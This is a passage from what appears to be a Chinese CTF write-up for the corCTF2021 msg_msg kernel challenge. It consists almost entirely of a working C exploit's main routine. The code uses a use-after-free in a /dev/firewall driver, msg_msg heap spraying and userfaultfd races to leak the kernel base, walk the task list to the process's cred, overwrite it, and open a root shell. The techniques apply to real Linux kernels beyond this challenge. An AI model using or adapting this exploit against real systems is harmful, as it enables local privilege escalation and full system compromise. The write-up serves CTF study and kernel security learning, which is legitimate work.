        if (addr < 0xffffffff81000000) return kernel_offset;
        for (int i = 0; i < sizeof(addr_table) / sizeof(size_t); i++)
        {
                if ((addr_table[i]&0xfff) == (addr&0xfff))
                {
                        kernel_offset = addr - addr_table[i];
                        break;
                }
        }
        return kernel_offset;
}

int main(int argc, char** argv, char** env)
{
        bind_core(0);

        int vim_idx;
        int res;
        int msg_idx[MSG_SPARY_NUMS];
        char tmp[0x2000] = { 0 };
        char buffer[0x1000] = { 0 };
        struct msg_buf* msg_buf;
        size_t kernel_offset;
        msg_buf = (struct msg_buf*)tmp;


        for (int i = 0; i < 3; i++) pipe(pipe_fd[i]);

        fd = open("/dev/firewall", O_RDWR);
        if (fd < 0) err_exit("open /dev/firewall");

        pthread_t thr1, thr2;
        uffd_buf1 = (char*)mmap(0, 0x2000, PROT_WRITE|PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
        uffd_buf2 = (char*)mmap(0, 0x2000, PROT_WRITE|PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
        register_userfaultfd(&thr1, (void*)(uffd_buf1+0x1000), 0x1000, handler_1);
        register_userfaultfd(&thr2, (void*)(uffd_buf2+0x1000), 0x1000, handler_2);

        add(0, buffer, INBOUND);
        dupl(0, INBOUND);

        if ((qid = msgget(IPC_PRIVATE, IPC_CREAT|0666)) < 0)
                err_exit("FAILED to create a msg queue to get UAF obj");
        dele(0, INBOUND);
        msg_buf->m_type = 1;
        if (msgsnd(qid, msg_buf, 0x40-0x30, 0) < 0) err_exit("FAILED to send a msg to get UAF obj");

        for (int i = 0; i < MSG_SPARY_NUMS; i++)
        {
                if ((msg_idx[i] = msgget(IPC_PRIVATE, IPC_CREAT|0666)) < 0) err_exit("FAILED to create msg queue to spary");
                msg_buf->m_type = 1;
                *(uint64_t*)msg_buf->m_text = 0xAAAABBBBCCCCDDDD;
                *(uint64_t*)(msg_buf->m_text+8) = i;
                if (msgsnd(msg_idx[i], msg_buf, 0x40-0x30, 0) < 0) err_exit("FAILED to send a 0x40 msg");
        }

        *(uint64_t*)(buffer+0x10) = 1;
        *(uint64_t*)(buffer+0x18) = 0x1000-0x30;
        edit(0, buffer, OUTBOUND, 1);

        memset(tmp, 0, sizeof(tmp));
        res = msgrcv(qid, msg_buf, 0x1000-0x30, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
        if (res < 0x1000-0x30) err_exit("FAIELD to OOR msg msg");
        hexx("OOB DATA LEN", res);
//      binary_dump("MSG OOB DATA", msg_buf, 0x1000);

        vim_idx = -1;
        kernel_offset = -1;
        for (int i = 0; i < 0x1000 / 8; i++)
        {
                size_t value = *(size_t*)(tmp+i*8);
                if (kernel_offset == -1)
                {
                        kernel_offset = leak_offset(value);
                }

                if (vim_idx == -1 && value == 0xAAAABBBBCCCCDDDD)
                {
                        vim_idx = *(int*)(tmp+i*8+8);
                }

                if (kernel_offset != -1 && vim_idx != -1)
                        break;
        }
        if (kernel_offset == -1) err_exit("FAILED to leak kernel_offset");
        hexx("kernel_offset", kernel_offset);
        if (vim_idx == -1) err_exit("FAILED to hit msg_msg");
        hexx("the hit msg_msg idx", vim_idx);

        msg_buf->m_type = 2;
        if (msgsnd(msg_idx[vim_idx], msg_buf, 0x2000-0x30-8, 0) < 0) err_exit("FAILED to send a 0x2000 msg");

        memset(tmp, 0, sizeof(tmp));
        res = msgrcv(qid, msg_buf, 0x1000-0x30, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
        if (res < 0x1000-0x30) err_exit("FAIELD to OOR msg msg");
        hexx("OOB DATA LEN", res);
//      binary_dump("MSG OOB DATA", msg_buf, 0x1000);
        ll_next = ll_prev = -1;
        for (int i = 0; i < 0x1000 / 8; i++)
        {
                size_t value = *(size_t*)(tmp+i*8);
                int iidx = *(int*)(tmp+i*8+8);
                if (value == 0xAAAABBBBCCCCDDDD && iidx == vim_idx)
                {
                        ll_next = *(uint64_t*)(tmp+i*8-0x30);
                        ll_prev = *(uint64_t*)(tmp+i*8-0x28);
                        break;
                }
        }

        if (ll_next == -1 || ll_prev == -1)
                err_exit("FAILED to leak msg_seg addr");
        hexx("ll_next", ll_next);
        hexx("ll_prev", ll_prev);


        size_t tasks_off = 0x298;
        size_t pid_off = 0x398;
        size_t cred_off = 0x540;
        size_t init_task = 0xffffffff81c124c0 + kernel_offset;
        size_t init_cred = 0xffffffff81c33060 + kernel_offset;
        hexx("init_task", init_task);
        memset(buffer, 0, sizeof(buffer));
        struct msg_header* mh = (struct msg_header*)buffer;
        mh->l_next = 0;
        mh->l_prev = 0;
        mh->m_type = 1;
        mh->m_ts   = 0x2000-0x30-8;
        mh->security = 0;
        size_t real_pid = getpid();
        size_t cur_task = init_task;
        size_t cur_cred = 0;
        uint64_t* task_task = NULL;
        hexx("real pid", real_pid);
        while(1)
        {
                mh->next = cur_task - 8;
                edit(0, buffer, OUTBOUND, 0);
                memset(tmp, 0, sizeof(tmp));
                res = msgrcv(qid, msg_buf, 0x2000-0x30-8, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
                if (res < 0x2000-0x30-8) err_exit("FAILED to ABR msg_segment");
                task_task = (uint64_t*)(msg_buf->m_text+0x1000-0x30);

                hexx("cur pid", task_task[pid_off/8]&0xffffffff);
                if (real_pid == (task_task[pid_off/8]&0xffffffff))
                {
                        cur_cred = task_task[cred_off/8];
                        break;
                }
                cur_task = task_task[tasks_off/8+1] - tasks_off;
        }

        hexx("cur_task", cur_task);
        hexx("cur_cred", cur_cred);
        cred_cred = cur_cred;

        res = msgrcv(msg_idx[vim_idx], msg_buf, 0x40-0x10, 1, IPC_NOWAIT|MSG_NOERROR);
        hexx("msgrcv to free", res);
        res = msgrcv(msg_idx[vim_idx], msg_buf, 0x2000-0x30-8, 2, IPC_NOWAIT|MSG_NOERROR);
        hexx("msgrcv to free", res);

        pthread_t th1, th2;
        res = pthread_create(&th1, NULL, thread_handler1, NULL);
        if (res != 0) err_exit("FAILED to create a new thread");
        res = pthread_create(&th2, NULL, thread_handler2, NULL);
        if (res != 0) err_exit("FAILED to create a new thread");

        pthread_join(th1, NULL);
        pthread_join(th2, NULL);

        hexx("UID", getuid());
        system("/bin/sh");

        puts("[+] NEVER EXP END");
        return 0;
}
xia

效果如下:

【msg_msg】corCTF2021-msgmsg 套题_第4张图片

你可能感兴趣的:(kernel-pwn,kernel,pwn,msg_msg)